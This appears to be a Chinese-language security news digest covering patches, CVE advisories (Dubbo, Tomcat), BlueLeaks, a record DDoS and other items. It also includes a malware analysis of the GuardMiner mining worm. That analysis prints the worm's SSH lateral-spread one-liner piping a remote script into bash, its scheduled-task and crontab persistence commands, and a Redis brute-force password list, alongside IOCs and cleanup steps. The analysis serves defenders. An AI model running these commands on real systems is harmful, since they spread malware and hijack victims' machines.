标签: 网络安全

开发者为 Linux 添加了一系列 RISC-V UEFI 支持补丁

今年早些时候 Linux 中的 UEFI 代码已经进行过清理,随后一系列 RISC-V UEFI 支持的早期补丁被提出,形成了更为全面的补丁集,用于在 Linux 下启用 RISC-V 的 UEFI 支持。近日则又有开发者提交了一系列补丁,解决了大量问题的同时为 Linux 下支持 RISC-V UEFI 新增了一些新的能力。 开发者 Atish Patra 来自西部数据,他在上周四提交了 11 个补丁,根据他的介绍,补丁 1-6 是准备性修补程序,可修复一些通用的 efi 和 riscv 问题;补丁 7-9 增加了对 RISC-V 的 efi stub 支持,并已在四月份提交审核;补丁 10 重命名了 arm-init,以便可以在不同的代码中使用该基础;补丁 11 则为 RISC-V 添加了运行时服务。 总结起来,这一系列补丁的主要贡献在于: 添加了完整的 ioremap 支持。 添加了 efi 运行时服务支持。 修复了 mm 问题。 目前补丁已在 Qemu 上使用 U-Boot 中的 bootefi 命令进行了验证,在 RISC-V 32 位与 RISC-V 64 位上都通过测试。不过 RISC-V 上 EDK2 代码的某些问题仍在解决中,主要是 SPI 与网络驱动相关的问题。 这一系列补丁打在 Linux 内核 5.8-rc2 上,目前还处于 PR 状态,等待代码审核,如果解决了相关问题,并且最终被接受,那么在 Linux 5.8 发布的时候应该能够看到。     (稿源:开源中国,封面源自网络。)

Dubbo 反序列化漏洞,可导致远程代码执行

近日 Dubbo 官方报告了一个 Dubbo 远程代码执行问题(CVE-2020-1948),该问题由 Provider 反序列化漏洞引起。根据介绍,攻击者可以使用无法识别的服务名称或方法名称,并带上一些恶意参数有效载荷发送 RPC 请求。当恶意参数反序列化后,将执行一些恶意代码。 受影响的版本: 2.7.0 <= Dubbo Version <= 2.7.6 2.6.0 <= Dubbo Version <= 2.6.7 所有 2.5.x 版本(官方团队不再支持) 所有 Dubbo 版本都可以升级到 2.7.7 或更高版本,避免该漏洞:https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7 详情查看邮件列表。     (稿源:开源中国,封面源自网络。)

Apache Tomcat HTTP/2 DoS 漏洞 影响多个版本

Apache Tomcat 安全团队报告了一个 Tomcat HTTP/2 DoS 漏洞。 HTTP/2 请求的特制序列可能会在数秒内引发较高的 CPU 使用率,如果有足够数量的此类请求在并发 HTTP/2 连接上进行连接时,服务器可能无响应,即造成拒绝服务。 该漏洞严重等级定为“重大”(Important),编号 CVE-2020-11996。 受影响的软件版本包括: Apache Tomcat 10.0.0-M1 到 10.0.0-M5 Apache Tomcat 9.0.0.M1 到 9.0.35 Apache Tomcat 8.5.0 到 8.5.55 官方给出的缓解方法: 升级到 Apache Tomcat 10.0.0-M6 或更高版本 升级到 Apache Tomcat 9.0.36 或更高版本 升级到 Apache Tomcat 8.5.56 或更高版本 具体细节可以查看: http://tomcat.apache.org/security-10.html http://tomcat.apache.org/security-9.html http://tomcat.apache.org/security-8.html     (稿源:开源中国,封面源自网络。)

医疗设备应如何抵御黑客攻击

自2020年以来,网络攻击规模相比于去年,激增了300%。而像医院、药房、医疗设备供应商等关乎到每个人生命健康的机构,比以往任何时候,都要面临更大的安全隐患。 即使这系列的攻击,有时候不是直接针对某个医疗物联网设备(IoMT),但它也可以通过医院的内部网络,感染用于诊断和治疗患者的设备,如静脉泵、患者监控器、呼吸机和x光机。 正如美国医院协会(AHA)网络安全和风险高级顾问约翰·里吉(John Riggi)所说:“最坏的情况是,这些用于挽救生命的医疗设备,可能在被感染后直接无法使用。” 对医院而言,防止网络攻击和保护IoMT设备不受感染的最佳方法,是将最脆弱和最关键的设备,彼此隔离或保持虚拟距离,也就是所谓的网络分段。 医院可以采取以下实际步骤,来分段临床网络,减少攻击面,并保护患者免受网络攻击: 1.首先明确谁来负责 传统意义上,医疗设备安全一直是生物医学工程设备专家的责任。 然而,随着IoMT设备的日益普及和针对医疗保健的网络攻击的增加,医院信息科室的IT团队不得不在医疗设备安全方面投入更多的精力。因此,信息科室和生物医学工程研究团队之间需要紧密合作,为临床网络设计和实施安全有效的安全政策。 为确保医疗设备的安全,并将IT和生物医学团队进行跨部门整合,这时候就需要一个单独的、最终的IoMT网络安全政策决策者。一些大型机构,甚至增设医疗设备安全员(MDSO)的角色,直接负责整个医院整个临床网络中的医疗设备安全。 2.创建可靠的设备清单 如果没有对医院连接的医疗设备、设备上的配置文件、通信模式,有足够深入了解,就无法设置网络分割策略。 自动化库存工具,还必须能够在了解IoMT设备行为、临界性、脆弱性的情况下,对设备进行持续分析。 3.评估每种设备的风险 风险评分,应根据设备可能造成的危急程度和医疗影响来计算。风险评估应持续进行,并持续监控网络异常行为。为了评估风险,必须考虑以下因素: 与正常设备功能所需的外部服务器通信(即供应商通信) 设备需要存储和发送ePHI,以及用于什么目的? 设备使用模式 设备是否运行不支持的操作系统或有任何已知的漏洞?如果是,是用补丁,还是用网络分割方法来保护设备? 4. 实时关注监管指南和规则 如果医院不遵守联邦和州监管标准,将面临数百万美元的罚款。抛开金钱损失不谈,不遵守网络安全准则会使医疗设备面临风险,并可能危及患者的安全、商业诚信和医院的声誉。 涉及医疗保健和医疗设备的准则和条例定期更新。为了保持合规,医院必须密切关注州联邦机构发布的监管标准和更新,包括: 美国食品和药物管理局(FDA) 医疗设备信息共享和分析(MDISS)倡议 《健康保险可携性和问责法》(HIPAA) 5. 设计、验证和执行分段策略 分段策略用以减少攻击面,并阻止潜在威胁。网络分段还可以通过将流量限制到指定区域和减少网络负载,来帮助网络更顺畅地运行。 然而,在临床网络上执行任何分段策略之前,应测试其安全性和有效性。医院安全团队应始终验证分段策略,然后在网络上执行,以确保医疗服务和临床操作的连续性。     (稿源:雷锋网,封面源自网络。)

Windows 10 Version 2004 新 BUG:重复报告安全警报

上月发布的 Windows 10 May 2020(20H1/Version 2004)功能更新在安全方面引入了诸多改进,其中就包括阻止潜在不必要程序(PUP/PUA)的能力。微软表示 PUP 包括各种类型的系统软件捆绑、驱动程序和注册表优化器等。 不过近日 Version 2004 用户反馈,即使在 PUP 应用程序被清理之后,Windows Security 应用程序依然会触发警报。在 PUP 应用程序被移除或者允许在 Windows 10 上运行之后,Windows Security 在随后的扫描中依然会检测到旧项目,造成错误的检测循环。 一位用户指出:“我在进行常规扫描时,发现这些威胁被高亮显示为低级,而且 Defender 无法删除它们,导致一直显示。我同样使用了 Malwarebytes 进行扫描,但这边并没有显示出来。” 看来,Windows Defender 已经被默认为在Windows 10 Version 2004 中识别 PUP 为威胁。在 PUP 被删除后,Windows Defender 在随后的历史记录扫描中又将同一文件识别为威胁。 想要修复这个问题,你需要通过以下步骤删除PUPs历史信息: 1.打开 “文件资源管理器”。 2.导航到C:/程序数据/Microsoft/Windows Defender/Scans/History/Service。 3.在服务文件夹中,删除PUP相关文件。 4.重启Windows并在Windows安全应用中进行快速扫描。     (稿源:cnBeta,封面源自网络。)  

Rovnix Bootkit 恶意软件相关活动分析

今年4月中旬,相关威胁监控系统检测到借助“世界银行与冠状病毒大流行有关的新倡议”的恶意软件,扩展名为 EXE 或 RAR, 在这些文件中有著名的 Rovnix bootkit。虽然利用冠状病毒这一话题进行传播的事情已屡见不鲜,但其使用UAC旁路工具进行了更新,且被用来提供一个与众不同的装载程序的实例却很少见。 这份名为《关于世界银行与冠状病毒pandemic.exe有关的新举措》的文件,是一份自解压的报告,其中列出了easymule.exe和1211.doc。 该文件确实包含有关世界银行一项新计划的信息,并且在元数据中引用了与该组织有关的真实个人作为作者。   … 更多内容请至Seebug Paper阅读全文:https://paper.seebug.org/1248/     消息来源:securelist,译者:dengdeng。 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接  

BlueLeaks 曝光了美国数百个警察部门内部文件 总容量接近 270 GB

上周,美国各地警察部门的数十万份潜在敏感文件在网上泄露。这个被称为 “BlueLeaks “并可在网上搜索的集合,源于德克萨斯州一家网页设计和托管公司的安全漏洞,该公司维护着一些州的执法数据共享门户。该集合总容量近270GB,是分布式拒绝秘密(DDoSecrets)的最新发布,DDoSecrets是维基解密的另一种选择。 DDoSecrets在Twitter上发文称,BlueLeaks档案索引了 来自200多个警察部门、融合中心和其他执法培训和支持资源的十年数据,在数十万份文件中,有警察和FBI的报告、公告、指南等。融合中心是由国家拥有和运营的实体,在州、地方、部落和地区、联邦和私营部门合作伙伴之间收集和传播执法和公共安全信息。KrebsOnSecurity获得了美国国家融合中心协会(NFCA)6月20日的内部分析,证实了泄露数据的有效性。NFCA提醒指出,泄露文件的日期实际上跨越了近24年,从1996年8月到2020年6月19日,文件包括姓名、电子邮件地址、电话号码、PDF文件、图像以及大量的文本、视频、CSV和ZIP文件。 此外,数据转储还包含电子邮件和相关附件,初步分析显示,其中一些文件包含高度敏感的信息,如ACH路由号码,国际银行账户号码(IBAN)和其他金融数据,以及个人身份信息(PII)和信息请求(RFI)和其他执法和政府机构报告中列出的嫌疑人的图像。NFCA表示,BlueLeaks公布的数据似乎是在总部位于休斯顿的网络开发公司Netsential发生安全漏洞后获取的。对此次泄密事件中包含的数据的初步分析表明,Netsential是美国多个融合中心、执法部门和其他政府机构使用的网络服务公司,是此次泄密事件的源头。 NFCA表示,各种网络威胁行为者,包括民族国家、黑客活动家和有经济动机的网络犯罪分子,可能会寻求利用此次泄密事件中暴露的数据,针对融合中心和相关机构及其人员进行各种网络攻击和活动。BlueLeaks数据集发布于6月19日,又称 “六月十九日”,是美国历史最悠久的结束奴隶制的全国性纪念活动。在广泛抗议乔治-弗洛伊德被明尼阿波利斯警察杀害事件后,今年的纪念日再次引起公众的兴趣。   (稿源:cnBeta,封面源自网络。)  

GuardMiner 挖矿木马近期活跃,具备蠕虫化主动攻击能力,已有较多企业中招

感谢腾讯御见威胁情报中心来稿! 原文链接:https://mp.weixin.qq.com/s/-nUrNilr-iq7kbmopaqXwA   概述 腾讯安全威胁情报中心检测到跨平台挖矿木马GuardMiner近期十分活跃,该木马会扫描攻击Redis、Drupal、Hadoop、Spring、thinkphp、WebLogic、SQLServer、Elasticsearch多个服务器组件漏洞,并在攻陷的Windows和Linux系统中分别执行恶意脚本init.ps1,init.sh,恶意脚本会进一步下载门罗币挖矿木马、清除竞品挖矿木马并进行本地持久化运行。在Linux系统上利用SSH连接和Redis弱口令爆破进行内网扩散攻击。因挖矿守护进程使用文件名为sysguard、sysguerd、phpguard,腾讯安全威胁情报中心将该挖矿木马命名为GuardMiner。因该病毒已具备蠕虫化主动攻击扩散的能力,近期已有较多企业中招。 样本分析 1、init.ps1攻击Windows系统,从服务器下载挖矿进程phpupdate.exe,配置文件config.json,扫描攻击进程networkmanager.exe,持久化脚本newdat.ps1,挖矿守护进程phpguard.exe,清理脚本clean.bat。 2、init.sh攻击Linux系统,从服务器下载挖矿进程phpupdate,配置文件config.json,持久化脚本newdat.sh,扫描攻击进程networkmanager,挖矿守护进程phpuguard。 3、门罗币挖矿进程phpupdate.exe占用CPU接近100%: 挖矿使用的三组矿池和钱包分别如下: xmr.f2pool.com:13531 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR.v520 xmr-eu2.nanopool.org:14444 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR.v520 randomxmonero.hk.nicehash.com:3380 3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr.v520 4、清除竞品挖矿木马文件: 5、phpguard.exe、phpguard负责守护挖矿进程,进程退出后立即重启: 6、在Windows系统上通过安装计划任务持久化,每隔30分钟执行一次newdat.ps1: SchTasks.exe /Create /SC MINUTE /TN "Update service for Windows Service" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File $HOME\newdat.ps1" /MO 30 /F 在Linux系统上通过定时任务持久化,每隔30分钟执行一次newdat.sh: crontab -l ; echo "*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1"   7、在Linux系统上还会通过sshown_hosts获取登录过的机器IP,建立SSH连接并执行远程shell脚本is.sh,进行内网扩散攻击: `if [ -f /root/.sshown_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE “\b([0-9]{1,3}\.){3}[0-9]{1,3}\b” /root/.sshown_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘curl -o-  http[:]//global.bitmex.com.de/cf67355a3333e6/is.sh | bash >/dev/null 2>&1 &’ & done fi` is.sh接着安装扫描工具Pnscan和Masscan针对全网段IP范围进行6379端口(Redis服务)扫描,并通过Redis弱口令爆破(密码字典:redis、root、oracle、password、p@aaw0rd、abc123、abc123!、123456、admin)以及未授权访问漏洞感染执行init.sh: 8、Windows系统上执行networkmanager.exe,Linux系统上执行networkmanager,开启漏洞扫描和利用攻击,针对以下服务器组件,攻击成功后在Windows系统执行Powershell脚本,在Linux系统执行shell脚本进行进行感染:Redis未授权访问漏洞; Drupal框架CVE-2018-7600漏洞; Hadoop未授权漏洞; Spring框架CVE-2018-1273漏洞; thinkphp框架TP5高危漏洞; WebLogic框架CVE-2017-10271漏洞; SQLServer框架xcmd_shell、SP_OACreate注入提权漏洞; Elasticsearch框架CVE-2015-1427、CVE-2014-3120远程代码执行漏洞。   病毒清除建议: 1.Windows系统用户推荐使用腾讯T-sec终端安全管理系统(腾讯御点)查杀; 2.Linux系统用户可按以下步骤手动清除: a.检查tmp、etc目录下是否具有以下文件,杀死对应的进程并删除文件: /tmp/phpupdate /tmp/networkmanager /tmp/phpguard /tmp/newdat.sh /tmp/config.json /etc/phpupdate /etc/networkmanager /etc/config.json /etc/newdat.sh b.检查crontab计划任务中是否包含执行”/tmp/newdat.sh”相关代码,如有删除该定时任务。 IOCs IP 185.247.117.64 209.182.218.161 178.157.91.26 146.71.79.230 43.245.222.57 URL http[:]//185.247.117.64/cf67355/phpupdate http[:]//global.bitmex.com.de/cf67355a3333e6/phpupdate http[:]//185.247.117.64/cf67355/newdat.sh http[:]//global.bitmex.com.de/cf67355a3333e6/newdat.sh http[:]//185.247.117.64/cf67355/config.json http[:]//global.bitmex.com.de/cf67355a3333e6/config.json http[:]//185.247.117.64/cf67355/networkmanager http[:]//global.bitmex.com.de/cf67355a3333e6/networkmanager http[:]//185.247.117.64/cf67355/phpguard http[:]//global.bitmex.com.de/cf67355a3333e6/phpguard http[:]//185.247.117.64/cf67355/phpupdate.exe http[:]//global.bitmex.com.de/cf67355a3333e6/phpupdate.exe http[:]//185.247.117.64/cf67355/config.json http[:]//global.bitmex.com.de/cf67355a3333e6/config.json http[:]//185.247.117.64/cf67355/networkmanager.exe http[:]//global.bitmex.com.de/cf67355a3333e6/networkmanager.exe http[:]//185.247.117.64/cf67355/newdat.ps1 http[:]//global.bitmex.com.de/cf67355a3333e6/newdat.ps1 http[:]//185.247.117.64/cf67355/phpguard.exe http[:]//global.bitmex.com.de/cf67355a3333e6/phpguard.exe http[:]//185.247.117.64/cf67355/clean.bat http[:]//global.bitmex.com.de/cf67355a3333e6/clean.bat    

亚马逊云服务在二月中旬挡下了 2.3 Tbps的 DDoS 攻击

亚马逊表示,其 AWS Shield 防火墙曾于今年 2 月中旬挡下了迄今为止最猛烈的分布式拒绝服务(DDoS)攻击。该公司在近日发布的《威胁纵览》(AWS Shield Threat Landscape)报告中进行了披露。与 2018 年 3 月记录的 1.7 Tbps 峰值相比,本次攻击的规模达到了创纪录的 2.3 Tbps 。 虽然没有提及客户的名称,但亚马逊透露本次攻击利用了被劫持的 CLDAP Web 服务器,该公司 AWS Shield 部门员工花了三天时间来应对威胁的升级。 CLDAP 全称为“无连接轻量级目录访问协议”,作为较早的 LDAP 协议的替代,其主要被用于连接、搜索和修改互联网上的共享目录。 自 2016 年底以来,该协议已被广泛应用于分布式拒绝服务攻击,因为 CLDAP 服务器会将 DDoS 流量放大到初始的 56~70 倍。 2018 年 3 月的时候,Netscout Arbor 挡下了当时创纪录的 1.7 Tbps DDoS 攻击,一个月前袭击 GitHub 的攻击流量也达到了 1.3 Tbps 。 这两起事件主要涉及互联网上暴露的 Memcached 服务器的滥用,当时这种攻击形式算是相当新颖,但很快被许多黑客和兜售 DDoS 服务的组织所盯上。 好消息是,得益于互联网服务提供商(ISP)、内容交付网络(CDN)和其它互联网基础设施企业的共同努力,现下的大规模 DDoS 攻击已变得相当罕见。 Link 11 在其 2020 年 1 季度报告中指出,其缓解的最大一次 DDoS 攻击的流量为 406 Gbps 。如果取平均值的话,今年 1 季度的单次 DDoS 攻击规模仅在 5 Gbps 左右。 同期 Cloudflare 应付的 DDoS 攻击峰值略超 550 Gbps,Akamai 今早公布的 2020 年 6 月首周的那起 DDoS 攻击,挡下的流量也才 1.44 Tbps 。 CloudFlare 表示,今年 1 季度的 DDoS 攻击中,有 92% 的流量低于 10 Gbps,其中 47% 甚至不到 500 Mbps 。     (稿源:cnBeta,封面源自网络。)

iPhone 端 Outlook 新增 Report Junk 功能 可报告可疑钓鱼邮件

在 iPhone 手机上,微软的 Outlook 受欢迎程度不亚于苹果 Mail,为此微软总是不遗余力地进行改进。今年早些时候,微软在 Android 端 Outlook 上推出了一项新功能,允许用户报告垃圾邮件和其他可能对他们的数据构成威胁的电子邮件。 这是一项非常受欢迎的新功能,现在微软将这项功能引入到 iPhone 平台上。在今天发布的 4.42.0 版本更新中,苹果用户也可以使用专门的“Report Junk”(报告垃圾邮件)按钮来报告任何可疑的邮件。这个功能只对 Office 365 和 Outlook.com 账户启用,所以它不会显示在其他提供商的收件箱上。 微软在更新日志中写道:“有看到什么蹊跷的地方吗?你可以报告垃圾邮件和钓鱼信息,从而确保你的收件箱安全。就在你找到其他操作(如存档和删除)的地方,你可以找到新的‘Report Junk’按钮。目前在Office 365和Outlook.com账户上可用。 ”     (稿源:cnBeta,封面源自网络。)